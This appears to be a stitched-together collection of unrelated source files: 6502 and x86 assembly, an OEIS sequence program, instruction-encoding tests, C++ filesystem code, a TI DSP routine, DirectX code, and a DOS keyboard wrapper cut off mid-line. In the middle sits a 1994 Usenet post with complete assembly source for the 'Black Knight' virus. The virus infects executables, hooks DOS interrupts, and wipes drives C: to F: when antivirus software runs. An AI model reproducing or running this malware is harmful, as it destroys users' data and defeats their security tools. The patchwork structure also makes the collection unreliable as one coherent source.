Inputs: Y - Number of times to wait approx 1 millisecond (1020 microseconds) ; Outputs: X - Garbage delay: pha .lp2: ldx #$FF .lp1: lda $00 ; 3 cycles (doesn't do anything, just needed a 3 cycle instruction dex ; 2 cycles bne .lp1 ; 3 or 4 cycles if on page boundary dey ; So, if it's 8 cycles, at 2MHz this loop will take 1020 microseconds bne .lp2 pla rts ; Add a string to the graphics buffer (can't be more than 256 chars including terminator) ; Inputs: ZPG $00, $01 - Address of string (with terminating 0) ; Outputs: A, X, Y - Garbage printstring: lda #$02 ; Print String jsr sendGfxCommand ldy #0 .printloop: lda ($00), Y beq .done ; if char is 0, we've reached the end of the string jsr sendGfxCommand iny bra .printloop .done: lda #0 jsr sendGfxCommand ; terminate string rts ; Add a character to the graphics buffer ; Inputs: A - Character to print ; Outputs: X - Garbage printchar: pha lda #1 jsr sendGfxCommand pla jsr sendGfxCommand rts ; Send a block of commands to the graphics buffer ; Inputs: ZPG 00, 01 = Start address of array ; ZPG 02, 03 = Size of array ; (02 - num pages, 03 - num bytes after pages) sendGfxCommandArray: lda $02 beq .noPages ldy #0 .sendPageByteLoop: lda ($00), Y jsr sendGfxCommand iny bne .sendPageByteLoop inc $01 dec $02 bne .sendPageByteLoop .noPages: lda $03 beq .done .sendByteLoop: lda ($00), Y jsr sendGfxCommand iny cpy $03 bne .sendByteLoop .done: rts ; Add a command to the graphics buffer ; Inputs: A - Command to add ; Outputs: X - Garbage sendGfxCommand: ;phy ;ldy #$FF ;jsr delay ;ply ldx gfxCmdBufferTop sta gfxCmdBufferPage,X inx .1: cpx gfxCmdBufferBottom beq .1 ; If buffer is full, wait for it to clear out stx gfxCmdBufferTop lda #%10010000 ; Enable graphics ready interrupt sta VIA1_IER rts nmi: rti irq: pha phx phy lda VIA1_IFR and #%00010000 beq .notGfxInterrupt jsr GfxInterrupt .notGfxInterrupt: lda VIA1_IFR and #%00000010 beq .notKeyboardInterrupt lda VIA1_RA ; Acknowledge interrupt .notKeyboardInterrupt: ;cpx #$FF ;beq .notOtherInterrupt ;lda sdosLoaded ; Some other interrupt happened (via timers probably) ;beq .notOtherInterrupt ;lda #1 ;jsr $0700 ;.notOtherInterrupt: ply plx pla rti GfxInterrupt: ldx gfxCmdBufferBottom cpx gfxCmdBufferTop beq .bufferEmpty lda gfxCmdBufferPage,X sta VIA1_RB ;inc gfxCmdBufferBottom ; using this should be the same, but it causes the computer to crap out after 256 gfx commands. why??? inx stx gfxCmdBufferBottom rts .bufferEmpty: lda #%00010000 ; Disable graphics ready interrupt sta VIA1_IER rts startString: string "Hello World" .org $FFFA .word nmi ; NMI vector .word reset ; Reset vector .word irq ; IRQ vector
; A179431: a(n) = binomial(3^(n-1), n). ; 1,1,3,84,17550,25621596,268715232324,21091830512086620,12814543323816738705045,61742372998425082372103866380,2399699340005498870742886195375900380,761689137813999393167583510790986701377432464,1992997938492157367948224731863936229108552184201415196,43308353962771956282847606133391774156961231639153177589271726660,7863849954579161768652893191650074721139771531346925543385391594702472528540,11993732156821546777477066877914343556350664346133065822720106872114851850904431721507016 sub $0,1 mov $1,3 pow $1,$0 mov $2,$0 add $2,1 bin $1,$2 mov $0,$1
[bits 64] andn eax, ebx, ecx ; c4 e2 60 f2 c1 andn eax, ebx, [0] ; c4 e2 60 f2 04 25 00 00 00 00 andn rax, rbx, rcx ; c4 e2 e0 f2 c1 andn rax, rbx, [0] ; c4 e2 e0 f2 04 25 00 00 00 00 bextr eax, ebx, ecx ; c4 e2 70 f7 c3 bextr eax, [0], ecx ; c4 e2 70 f7 04 25 00 00 00 00 bextr rax, rbx, rcx ; c4 e2 f0 f7 c3 bextr rax, [0], rcx ; c4 e2 f0 f7 04 25 00 00 00 00 blsi eax, ecx ; c4 e2 78 f3 d9 blsi eax, [0] ; c4 e2 78 f3 1c 25 00 00 00 00 blsi rax, rcx ; c4 e2 f8 f3 d9 blsi rax, [0] ; c4 e2 f8 f3 1c 25 00 00 00 00 blsmsk eax, ecx ; c4 e2 78 f3 d1 blsmsk eax, [0] ; c4 e2 78 f3 14 25 00 00 00 00 blsmsk rax, rcx ; c4 e2 f8 f3 d1 blsmsk rax, [0] ; c4 e2 f8 f3 14 25 00 00 00 00 blsr eax, ecx ; c4 e2 78 f3 c9 blsr eax, [0] ; c4 e2 78 f3 0c 25 00 00 00 00 blsr rax, rcx ; c4 e2 f8 f3 c9 blsr rax, [0] ; c4 e2 f8 f3 0c 25 00 00 00 00 tzcnt ax, bx ; 66 f3 0f bc c3 tzcnt ax, [0] ; 66 f3 0f bc 04 25 00 00 00 00 tzcnt eax, ebx ; f3 0f bc c3 tzcnt eax, [0] ; f3 0f bc 04 25 00 00 00 00 tzcnt rax, rbx ; f3 48 0f bc c3 tzcnt rax, [0] ; f3 48 0f bc 04 25 00 00 00 00
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:54 1994 Xref: netcom.com alt.comp.virus:508 Path: netcom.com!ix.netcom.com!netnews From: Zeppelin@ix.netcom.com (Mr. G) Newsgroups: alt.comp.virus Subject: BlackKnight Virus (ANTI AV VIRUS) Date: 29 Nov 1994 13:09:23 GMT Organization: Netcom Lines: 376 Distribution: world Message-ID: <3bf963$idi@ixnews1.ix.netcom.com> References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com> NNTP-Posting-Host: ix-pas2-10.ix.netcom.com ;Black Knight Anti-Virus-Virus ;Size - 520 ; ;Tasm BKNIGHT ;Tlink /T BKNIGHT ;Memory Resident Companion Virus ;Anti-Anti-Virus ;Formats Drives C: to F: When Anti-Virus Product Is Ran ;Tempest - _ Of Luxenburg ; .radix 16 cseg segment model small assume cs:cseg, ds:cseg, es:cseg org 100h oi21 equ endit filelength equ endit - begin nameptr equ endit+4 DTA equ endit+8 begin: jmp virus_install virus_name: db 'Black Knight' ;install virus_install: nop nop nop mov ax,cs ; reduce memory size dec ax mov ds,ax cmp byte ptr ds:[0000],5a jne cancel mov ax,ds:[0003] sub ax,100 mov ds:0003,ax Zopy_virus: mov bx,ax ; copy to claimed block mov ax,es add ax,bx mov es,ax mov cx,offset endit - begin mov ax,ds inc ax mov ds,ax lea si,ds:[begin] lea di,es:0100 rep movsb Grab_21: mov ds,cx ; hook int 21h mov si,0084h ; mov di,offset oi21 mov dx,offset check_exec lodsw cmp ax,dx ; je cancel ; exit, if already installed stosw movsw push es pop ds mov ax,2521h ; revector int 21h to virus nop int 21h nop cancel: ret check_exec: pushf push es ; push everything onto the push ds ; stack push ax push bx push dx cmp ax,04B00h ; is the file being jne abort ; executed? ;if yes, try the_stinger do_infect: call infect ; then try to infect abort: ; restore everything pop dx pop bx pop ax pop ds pop es popf Bye_Bye: ; exit jmp dword ptr cs:[oi21] new_24h: mov al,3 ; critical error handler iret infect: mov cs:[name_seg],ds ; here, the virus essentially mov cs:[name_off],dx ; copies the name of the cld ; loaded file into a buffer mov di,dx ; so that it can be compared push ds ; against the default names pop es ; in the_stinger mov al,'.' ; subroutine repne scasb ; <-- call the_stinger ; check for anti-virus load ; and deploy the_stinger cld mov word ptr cs:[nameptr],dx mov word ptr cs:[nameptr+2],ds mov ah,2Fh int 21h push es push bx push cs pop ds mov dx,offset DTA mov ah,1Ah int 21h call searchpoint push di mov si,offset COM_txt mov cx,3 rep cmpsb pop di jz do_com mov si,offset EXE_txt nop mov cl,3 rep cmpsb jnz return do_exe: mov si,offset COM_txt nop call change_ext mov ax,3300h nop int 21h push dx cwd inc ax push ax int 21h Grab24h: mov ax,3524h int 21h push bx push es push cs pop ds mov dx,offset new_24h mov ah,25h push ax int 21h lds dx,dword ptr [nameptr] ;create the virus (unique name) xor cx,cx mov ah,05Bh int 21 jc return1 xchg bx,ax ;save handle push cs pop ds mov cx,filelength ;cx= length of virus mov dx,offset begin ;where to start copying mov ah,40h ;write the virus to the int 21h ;new file mov ah,3Eh ; close int 21h return1: pop ax pop ds pop dx int 21h pop ax pop dx int 21h mov si,offset EXE_txt call change_ext return: mov ah,1Ah pop dx pop ds int 21H ret do_com: call findfirst cmp word ptr cs:[DTA+1Ah],endit - begin jne return mov si,offset EXE_txt call change_ext call findfirst jnc return mov si,offset COM_txt call change_ext jmp short return searchpoint: les di,dword ptr cs:[nameptr] mov ch,0FFh mov al,0 repnz scasb sub di,4 ret change_ext: call searchpoint push cs pop ds movsw movsw ret findfirst: lds dx,dword ptr [nameptr] mov cl,27h mov ah,4Eh int 21h ret the_stinger: cmp word ptr es:[di-3],'MI' ;Integrity Master je jumptoass cmp word ptr es:[di-3],'XR' ;VIRX je jumptoass cmp word ptr es:[di-3],'PO' ;VIRUSTOP jne next1 cmp word ptr es:[di-5],'TS' je jumptoass next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV je jumptoass cmp word ptr es:[di-3],'TO' ;*prot = F-prot jne next2 cmp word ptr es:[di-5],'RP' je jumptoass next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. jne next3 cmp word ptr es:[di-5],'CS' je jumptoass cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN. jne next3 ; why not, eh? cmp word ptr es:[di-5],'EL' je jumptoass next3: ret jumptoass: jmp nuke ;assassination (deletion) ; of anti-virus program nuke: mov al,2 ;Lets Total The C: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The D: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,3 ;Lets Total The E: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti mov al,5 ;Lets Total The F: Drive mov cx,25 cli ; Keeps Victim From Aborting cwd int 026h sti EXE_txt db 'EXE',0 COM_txt db 'COM',0 data_1 db 0 data_2 db 0 last db 090H name_seg dw ? name_off dw ? c1 db 0 c2 db 0 c3 db 0 c4 db 0 c5 db 0 virus_man: db 'Tempest - _ Of Luxenburg' endit: cseg ends end begin
/*! \file */ // Copyright 2011-2020 Tyler Gilbert and Stratify Labs, Inc; see LICENSE.md for rights. //Copyright 2011-2020 Tyler Gilbert and Stratify Labs, Inc #include <errno.h> #include <sos/link.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include "var/String.hpp" #include "sys/Appfs.hpp" #include "fs/Dir.hpp" #include "fs/File.hpp" #include "sys/Printer.hpp" using namespace sys; Printer& sys::operator << (Printer& printer, const appfs_file_t & a){ printer.key("name", "%s", a.hdr.name); printer.key("id", "%s", a.hdr.id); printer.key("mode", "0%o", a.hdr.mode); printer.key("version", "%d.%d", a.hdr.version >> 8, a.hdr.version & 0xff); printer.key("startup", "%p", a.exec.startup); printer.key("codeStart", "%p", a.exec.code_start); printer.key("codeSize", "%p", a.exec.code_size); printer.key("ramStart", "%p", a.exec.ram_start); printer.key("ramSize", "%ld", a.exec.ram_size); printer.key("dataSize", "%ld", a.exec.data_size); printer.key("oFlags", "0x%lX", a.exec.o_flags); printer.key("signature", "0x%lX", a.exec.signature); return printer; } Printer& sys::operator << (Printer& printer, const AppfsFileAttributes & a){ printer.key("name", a.name()); printer.key("id", a.id()); printer.key("version", "%d.%d", a.version() >> 8, a.version() & 0xff); printer.key("flash", a.is_flash()); printer.key("codeExternal", a.is_code_external()); printer.key("dataExternal", a.is_data_external()); printer.key("codeTightlyCoupled", a.is_code_tightly_coupled()); printer.key("dataTightlyCoupled", a.is_data_tightly_coupled()); printer.key("startup", a.is_startup()); printer.key("unique", a.is_unique()); printer.key("ramSize", "%ld", a.ram_size()); return printer; } Printer& sys::operator << (Printer& printer, const sys::AppfsInfo & a){ printer.key("name", a.name()); printer.key("mode", "0%o", a.mode()); if( a.is_executable() ){ printer.key("id", a.id()); printer.key("version", "%d.%d", a.version() >> 8, a.version() & 0xff); printer.key("signature", F3208X, a.signature()); printer.key("ram", F32U, a.ram_size()); printer.key("orphan", a.is_orphan()); printer.key("flash", a.is_flash()); printer.key("startup", a.is_startup()); printer.key("unique", a.is_unique()); } return printer; } AppfsFileAttributes::AppfsFileAttributes(const appfs_file_t & appfs_file){ m_name = appfs_file.hdr.name; m_id = appfs_file.hdr.id; m_ram_size = appfs_file.exec.ram_size; m_o_flags = appfs_file.exec.o_flags; m_version = appfs_file.hdr.version; } void AppfsFileAttributes::apply(appfs_file_t * appfs_file) const { if( m_name.is_empty() == false ){ memcpy(appfs_file->hdr.name, m_name.cstring(), LINK_NAME_MAX); } if( m_id.is_empty() == false ){ memcpy(appfs_file->hdr.id, m_id.cstring(), LINK_NAME_MAX); } if( m_version != 0 ){ appfs_file->hdr.version = m_version; } if( m_access_mode != 0 ){ appfs_file->hdr.mode = m_access_mode; } if( m_ram_size >= 4096 ){ appfs_file->exec.ram_size = m_ram_size; } if( appfs_file->exec.ram_size < 4096 ){ appfs_file->exec.ram_size = 4096; } appfs_file->exec.o_flags = m_o_flags; } int AppfsFileAttributes::apply(const fs::File & file) const { appfs_file_t appfs_file; var::Reference appfs_file_reference(appfs_file); int result; int location = file.seek(0, fs::File::whence_current); if( (result = file.read( fs::File::Location(0), appfs_file_reference )) != (int)appfs_file_reference.size() ){ return -1; } this->apply( appfs_file_reference.to<appfs_file_t>() ); if( (result = file.write( fs::File::Location(0), appfs_file_reference )) != (int)appfs_file_reference.size() ){ return -1; } file.seek(location, fs::File::whence_set); return 0; } Appfs::Appfs( SAPI_LINK_DRIVER ) : m_file( #if defined __link link_driver #endif ){ } bool Appfs::is_flash_available( SAPI_LINK_DRIVER ){ fs::Dir dir #if defined __link (link_driver) #endif ; if( dir.open("/app/flash") < 0 ){ return false; } if( dir.read() != nullptr ){ return true; } return false; } bool Appfs::is_ram_available( SAPI_LINK_DRIVER ){ fs::Dir dir #if defined __link (link_driver) #endif ; if( dir.open(var::String("/app/ram")) < 0 ){ return false; } if( dir.read() != nullptr ){ return true; } return false; } int Appfs::create( const AppfsCreateOptions& options SAPI_LINK_DRIVER_LAST ){ return create( Name(options.name()), options.source(), MountPath(options.mount()), options.progress_callback() #if defined __link ,link_driver #endif ); } int Appfs::create( Name name, const fs::File & source, MountPath mount_path, const ProgressCallback * progress_callback SAPI_LINK_DRIVER_LAST ){ fs::File file #if defined __link (link_driver) #endif ; char buffer[LINK_PATH_MAX]; int tmp; appfs_createattr_t attr; int loc; unsigned int bw; //bytes written appfs_file_t f; strcpy(buffer, mount_path.argument().cstring()); strcat(buffer, "/flash/"); strcat(buffer, name.argument().cstring()); //delete the settings if they exist strncpy(f.hdr.name, name.argument().cstring(), LINK_NAME_MAX); f.hdr.mode = 0666; f.exec.code_size = source.size() + sizeof(f); //total number of bytes in file f.exec.signature = APPFS_CREATE_SIGNATURE; fs::File::remove( buffer #if defined __link , link_driver #endif ); if( file.open( "/app/.install", fs::OpenFlags::write_only() ) < 0 ){ return -1; } var::Reference::memory_copy( var::Reference::SourceBuffer(&f), var::Reference::DestinationBuffer(attr.buffer), var::Reference::Size(sizeof(f)) ); //now copy some bytes attr.nbyte = APPFS_PAGE_SIZE - sizeof(f); if( source.size() < (u32)attr.nbyte ){ attr.nbyte = source.size(); } source.read( attr.buffer + sizeof(f), fs::File::Size(attr.nbyte) ); attr.nbyte += sizeof(f); loc = 0; bw = 0; do { if( loc != 0 ){ //when loc is 0 -- header is copied in if( (f.exec.code_size - bw) > APPFS_PAGE_SIZE ){ attr.nbyte = APPFS_PAGE_SIZE; } else { attr.nbyte = f.exec.code_size - bw; } source.read( attr.buffer, fs::File::Size(attr.nbyte) ); } //location gets modified by the driver so it needs to be fixed on each loop attr.loc = loc; if( (tmp = file.ioctl( fs::File::IoRequest(I_APPFS_CREATE), fs::File::IoArgument(&attr) )) < 0 ){ return tmp; } bw += attr.nbyte; loc += attr.nbyte; if( progress_callback ){ progress_callback->update(bw, f.exec.code_size); } } while( bw < f.exec.code_size); if( progress_callback ){ progress_callback->update(0,0); } return f.exec.code_size; } AppfsInfo Appfs::get_info( const var::String & path SAPI_LINK_DRIVER_LAST ){ fs::File f #if defined __link (link_driver) #endif ; var::String app_name; var::String path_name; appfs_file_t appfs_file_header; appfs_info_t info; int result; if( f.open( path, fs::OpenFlags::read_only() ) < 0 ){ return AppfsInfo(); } result = f.read(var::Reference(appfs_file_header)); f.close(); if( result == sizeof(appfs_file_header) ){ //first check to see if the name matches -- otherwise it isn't an app file path_name = fs::File::name(path); if( path_name.find(".sys") == 0 ){ errno = EINVAL; return AppfsInfo(); } if( path_name.find(".free") == 0 ){ errno = EINVAL; return AppfsInfo(); } if( (appfs_file_header.hdr.mode & 0111) == 0 ){ //return AppfsInfo(); } app_name = appfs_file_header.hdr.name; memset(&info, 0, sizeof(info)); if( path_name == app_name #if defined __link || (path_name.find(app_name) == 0 ) #endif ){ memcpy(info.name, appfs_file_header.hdr.name, LINK_NAME_MAX); info.mode = appfs_file_header.hdr.mode; info.version = appfs_file_header.hdr.version; memcpy(info.id, appfs_file_header.hdr.id, LINK_NAME_MAX); info.ram_size = appfs_file_header.exec.ram_size; info.o_flags = appfs_file_header.exec.o_flags; info.signature = appfs_file_header.exec.signature; } else { errno = ENOEXEC; return AppfsInfo(); } } else { errno = ENOEXEC; return AppfsInfo(); } return AppfsInfo(info); } u16 Appfs::get_version( const var::String & path SAPI_LINK_DRIVER_LAST ){ AppfsInfo info; info = get_info(path #if defined __link , link_driver #endif ); return info.version(); } var::String Appfs::get_id( const var::String & path SAPI_LINK_DRIVER_LAST ){ AppfsInfo info; info = get_info(path #if defined __link , link_driver #endif ); if( info.is_valid() == false ){ return var::String(); } return info.id(); } #ifndef __link int Appfs::cleanup(bool data){ struct stat st; fs::Dir dir; char buffer[LINK_PATH_MAX]; const char * name; if( dir.open("/app/ram") < 0 ){ return -1; } while( (name = dir.read()) != 0 ){ strcpy(buffer, "/app/ram/"); strcat(buffer, name); if( stat(buffer, &st) < 0 ){ perror("Failed to stat"); } if( ((st.st_mode & (LINK_S_IXUSR|LINK_S_IXGRP|LINK_S_IXOTH)) || data) && (name[0] != '.') ){ if( unlink(buffer) < 0){ dir.close(); return -1; } } } dir.close(); return 0; } #endif
;*********************************************************** ; Version 2.40.00 ;*********************************************************** ; Note: a symbol "SI_BUGS" is used to make a work around for silicon ; 5510 version1.0. If you are going to use the code on 5510 version1.0 ; silicon, you have to put switch -d"SI_BUGS" when you compile the code. ;**************************************************************** ; Function: acorr_unbias ; Processor: C55xx ; Description: calculates positive unbiased auto-correlation ; Usage: short acorr_unbias(DATA *x, DATA *r, ushort nx, ushort nr) ; Copyright Texas instruments Inc, 2000 ; History: ; - Changed save and restore AR5/AR6/AR7 to XAR5/XAR6/XAR7 registers. ; - Fixed XARx init bug (added Xx_ptr,Xx_save,Xx2_save,Xxb_ptr). ; Li Yuan - 08/14/01 ; ; - Added overflow checking and overflow is returned in T0 instead of ; AC0 register ; Zhengting He - 10/25/2006 ;**************************************************************** .ARMS_off ;enable assembler for ARMS=0 .CPL_on ;enable assembler for CPL=1 .mmregs ;enable mem mapped register names .global _acorr_unbias _acorr_unbias ; Stack frame ; ----------- RET_ADDR_SZ .set 1 ;return address ;REG_SAVE_SZ .set 3 ;save-on-entry registers saved REG_SAVE_SZ .set 6 ;save-on-entry registers saved FRAME_SZ .set 3 ;local variables ARG_BLK_SZ .set 0 ;argument block ; Register usage ; -------------- PARAM_OFFSET .set FRAME_SZ + REG_SAVE_SZ .asg 0, temp .asg 1, tempb .asg 2, exec .asg 0 + FRAME_SZ, SAVE_AR5 .asg 2 + FRAME_SZ, SAVE_AR6 .asg 4 + FRAME_SZ, SAVE_AR7 .asg 0 + FRAME_SZ + REG_SAVE_SZ, RETURN_ADDR .asg AR0, x_ptr .asg XAR0, Xx_ptr .asg AR1, r_ptr .asg DR0, nx .asg DR1, nr .asg AR4, odd .asg AR2, counter .asg AR5, x_save .asg XAR5, Xx_save .asg AR6, loop_count .asg AR7, xb_ptr .asg XAR7, Xxb_ptr .asg AR3, x2_save .asg XAR3, Xx2_save .asg AC2, C .asg AC1, D ;.asg AC3, B ;.asg AC0, A PSH mmap(ST1_55) ; ; Allocate the local frame and argument block( +1 is for dbl alignment) ;---------------------------------------------------------------- AADD #-(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ +1), SP ; ; Save any save-on-entry registers that are used ; Configure the status registers as needed. ;---------------------------------------------------------------- MOV XAR7, dbl(*SP(#(SAVE_AR7))) ; PSHM XAR7 ||BSET FRCT ; Set FRCT MOV XAR6, dbl(*SP(#(SAVE_AR6))) ; PSHM XAR6 ||BSET SXMD ; Set SXMD MOV XAR5, dbl(*SP(#(SAVE_AR5))) ; PSHM XAR5 ; ; Initialize some of the variables ;---------------------------------------------------------------- ||MOV nr, loop_count MOV #0, *sp(#(exec)) MOV Xx_ptr, Xx_save MOV Xx_ptr, Xx2_save MOV nx, AC0 SUB #1, loop_count ; ; If the number of correlation elements to calculate is ; exactly equal to na, then we want to calculate the last ; 2 elements outside of the loop. Since loop assumes minimum ; of 3 MAC operations ;---------------------------------------------------------------- SUB nr, AC0 MOV AC0, *sp(#(temp)) CMP *sp(#(temp)) == #1, TC1 BCC L0, !TC1 ADD #-1, *sp(#(exec)) SUB #1, loop_count ||B L1 L0: CMP *sp(#(temp)) == #0, TC1 BCC L1, !TC1 SUB #2, loop_count ADD #1, *sp(#(exec)) L1: ; ---- If NR == #1, then we can't use the DUAL MAC loop ---- MOV nr, *sp(#(temp)) CMP *sp(#temp) == #1, TC1 BCC LOOP_SINGLE, TC1 ;--------Divisor value setup---------- MOV nx, *sp(#(temp)) ; This value is used for division MOV nx, *sp(#(tempb)) ; This value is used for division for the second thing ADD #-1, *sp(#(tempb)) ; ---- ODD detection ---- ; If we have an output buffer which is an odd number, then we need to ; enable the extra mac which is outside of the main dual mac loop. BTST @#0, nr, TC1 ; Test to see if the LSB of NR is set. If ; it is, then we have an odd number .if $isdefed("SI_BUGS") XCC check1, TC1 .else XCCPART check1, TC1 .endif MOV #-1, odd ; Setup the odd flag for later use check1: ; Generic pointer and loop setup ; Generic will be used by both normal dual mac and the single loop. ; For single loop, cycles are are lost because we setup the BRC. MOV Xx_save, XCDP ; Setup CDP MOV x2_save, x_ptr ; Setup the primary pointer MOV Xx_ptr, Xxb_ptr ADD #1, x_ptr, xb_ptr ; Setup the secondary pointer SFTS loop_count, #-1 ; Divide loop_count by 2 so that it will ; it will be of the right size for the dual mac .if $isdefed("SI_BUGS") XCC check2, odd<#0 ; This is only for the case where we have odd .else XCCPART check2, odd<#0 ; This is only for the case where we have odd .endif SUB #1, loop_count ; sized input vectors. In this case we have check2: ; moved one of the MACs out of the loop MOV loop_count, BRC0 MOV #15, BRC1 ; This is for the division ||MOV nx, counter SUB #3, counter MOV counter, CSR ; Because of the CSR updates, we need to preload CSR ; ; Perform correlation: ;---------------------------------------------------------------- LOOP_DUAL: RPTB loop1-1 ; ---- Preload ---- MPY *x_ptr+, *CDP+, AC0 ::MPY *xb_ptr+, *CDP+, AC3 ; ---- Main Dual MAC loop ---- RPTSUB CSR, #2 MAC *x_ptr+, *CDP+, AC0 ::MAC *xb_ptr+, *CDP+, AC3 ; ---- Do one MAC for A, Load DR2 with B ---- MACM *x_ptr+, *CDP+, AC0 ||MOV HI(AC3), T2 ; ---- Scale results ---- ; Divide result by number of MACs performed, result is in ; lower half of accumulator ; ; D<-HI(ABS(A)) ; C<-HI(ABS(B)) ; ; A and B are only used to give C and D the correct sign MOV HI(AC0), T3 ||MOV T2, C MOV T3, AC3 MOV T3, AC0 ;Could I have just shifted A?-yes, but ; ---- Get ABS of C and D, update CDP and x2_save ---- ABS C ||MOV x_save, CDP ABS AC3 ||ADD #2, x2_save ; ---- Scale values ---- BCLR SXMD ; Set SXMD RPTBLOCAL loop2-1 SUBC *sp(#(temp)), AC3 SUBC *sp(#(tempb)), C loop2: BSET SXMD ; Set SXMD ; ---- Negate if necessary ---- .if $isdefed("SI_BUGS") XCC check3, AC0 < #0 .else XCCPART check3, AC0 < #0 .endif NEG AC3 check3: MOV T2, AC0 ; for the second variable .if $isdefed("SI_BUGS") XCC check4, AC0 < #0 .else XCCPART check4, AC0 < #0 .endif NEG C check4: ; ---- Store the values, update A pointer ---- MOV AC3, *r_ptr+ MOV C, *r_ptr+ ||MOV x2_save, x_ptr ; ---- Update scaling values ---- ADD #-2, *sp(#(temp)) ADD #-2, *sp(#(tempb)) ; ---- B pointer update ---- ADD #1, x_ptr, xb_ptr ; Setup the secondary pointer loop1: BCC REGULAR, odd>=#0 ; Goto REGULAR to regular if we ; didn't have the odd condition. ; ---- 3 ----- ; If ODD, then we need to do the odd value outside of the MAC ; loop. Pointers CDP and x_ptr are restored throughout ; for use in the following sections if necessary MPYM *x_ptr+, *CDP+, AC0 ||ADD #1, x2_save RPT #1 MACM *x_ptr+, *CDP+, AC0 MOV HI(AC0), T3 MOV T3, AC3 ||MOV x_save, CDP ABS AC3 ; ---- Scale values ---- BCLR SXMD ; Set SXMD RPT #15 SUBC *sp(#(temp)), AC3 BSET SXMD ; Set SXMD .if $isdefed("SI_BUGS") XCC check5, AC0 < #0 .else XCCPART check5, AC0 < #0 .endif NEG AC3 check5: MOV AC3, *r_ptr+ ||MOV x2_save, x_ptr REGULAR: MOV *sp(#(exec)), AC3 BCC FINISH, AC3 == #0 ; ---- 2 ----- MPYM *x_ptr+, *CDP+, AC0 MACMR *x_ptr, *CDP-, AC0 MOV HI(AC0 <<#-1), *r_ptr+ BCC FINISH, AC3 < #0 ; ---- 1 ----- MPYMR *x_ptr, *CDP, AC0 MOV HI(AC0), *r_ptr+ FINISH: ; bug: original return value in AC0 ; fix: put to T0 ; ; Check if overflow occurred, and setup return value ;---------------------------------------------------------------- MOV #0, T0 ;clear oflag XCCPART check6, overflow(AC0) ;clears ACOV0 ||MOV #1, T0 ;overflow occurred check6: XCCPART check7, overflow(AC3) ;clears ACOV1 ||MOV #1, T0 ;overflow occurred check7: ; ; Restore status regs to expected C-convention values as needed ; Restore any save-on-entry registers that are used ;---------------------------------------------------------------- MOV dbl(*SP(#(SAVE_AR7))), XAR7 ; POPM AR7 BCLR FRCT ; Clear FRCT ||MOV dbl(*SP(#(SAVE_AR6))), XAR6 ; POPM AR6 BCLR SXMD ; Clear SXMD ||MOV dbl(*SP(#(SAVE_AR5))), XAR5 ; POPM AR5 ; ; Deallocate the local frame and argument block ;---------------------------------------------------------------- AADD #(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ +1), SP POP mmap(ST1_55) ; ; Return to calling function ;---------------------------------------------------------------- RET ;---------------------------------------------------------------- ;End of file LOOP_SINGLE: ; This is only used if we have the case where it is a single ; value to calculate. The dual MAC loop cannot be used here ; because it would overwrite neighbouring values due to ; the dual saves. A conditional save would be cycle costly ; to have in the DUAL MAC loop ;-------------------------------------------------- MOV nx, *sp(#(temp)) ; This value is used for division MOV x_save, CDP ; Setup CDP MOV x2_save, x_ptr MOV nx, counter SUB #2, counter MOV counter, CSR MPYM *x_ptr+, *CDP+, AC0 RPT CSR MACM *x_ptr+, *CDP+, AC0 ; ---- Scale results ---- ; Divide result by number of MACs performed, result is in ; lower half of accumulator MOV HI(AC0), T3 MOV T3, AC3 MOV T3, AC0 ;Could I have just shifted A?-yes, but ABS AC3 ; ---- Scale values ---- BCLR SXMD ; Clear SXMD RPT #15 SUBC *sp(#(temp)), AC3 BSET SXMD ; Set SXMD ; ---- Negate if necessary ---- .if $isdefed("SI_BUGS") XCC check8, AC0 < #0 .else XCCPART check8, AC0 < #0 .endif NEG AC3 check8: ; ---- Save ---- MOV AC3, *r_ptr+ B FINISH ; Branch back to the ending stuff
; void p_queue_clear(p_queue_t *q) SECTION code_clib SECTION code_adt_p_queue PUBLIC p_queue_clear EXTERN asm_p_queue_clear defc p_queue_clear = asm_p_queue_clear
#include "Box3D.h" void Box3D::CreateObject(const DirectX::XMFLOAT4& coord, const DirectX::XMFLOAT4& color, const DirectX::XMMATRIX& rotation, const DirectX::XMFLOAT4& size) { vertices_.resize(vertexCount_); for (unsigned int i = 0; i < vertexCount_; i++) { unsigned int idx = i / 3; vertices_[i].pos_.x = (idx & 0b001 ? 0.5f : -0.5f); vertices_[i].pos_.y = (idx & 0b010 ? 0.5f : -0.5f); vertices_[i].pos_.z = (idx & 0b100 ? 0.5f : -0.5f); } index_.resize(indexCount_); for (unsigned int i = 0; i < indexCount_; i++) { index_[i] = indexData_[i]; } CreateVertexResource(); CreateIndexResource(); CreateConstantResource(coord, color, rotation, size); CreateConstantBufferDescriptor(); CreateVertexBufferView(); CreateIndexBufferView(); CreateConstantBufferView(); }
;/*! ; @file ; ; @ingroup fapi ; ; @brief BksCharIn DOS wrapper ; ; (c) osFree Project 2018, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ;*/ .8086 ; Helpers INCLUDE helpers.inc INCLUDE bseerr.inc INCL_KBD EQU 1 INCLUDE bsesub.INC _TEXT SEGMENT BYTE PUBLIC 'CODE' @BKSPROLOG BKSPEEK KBDHANDLE DW ? ;KEYBOARD HANDLE CHARDATA DD ? ; @BKSSTART BKSPEEK MOV AH,011H INT 016H JNE @F XOR BL,BL JMP KP_1 @@: MOV BL,040H KP_1: PUSH DS LDS SI,[DS:BP].ARGS.CHARDATA MOV [DS:SI].KBDKEYINFO.KBCI_CHCHAR,AL MOV [DS:SI].KBDKEYINFO.KBCI_CHSCAN,AH MOV [DS:SI].KBDKEYINFO.KBCI_FBSTATUS,BL MOV AH,12H INT 16H MOV [DS:SI].KBDKEYINFO.KBCI_FSSTATE,AX MOV AH,2CH INT 21H MOV WORD PTR [DS:SI].KBDKEYINFO.KBCI_TIME,CX MOV WORD PTR [DS:SI].KBDKEYINFO.KBCI_TIME+2,DX POP DS XOR 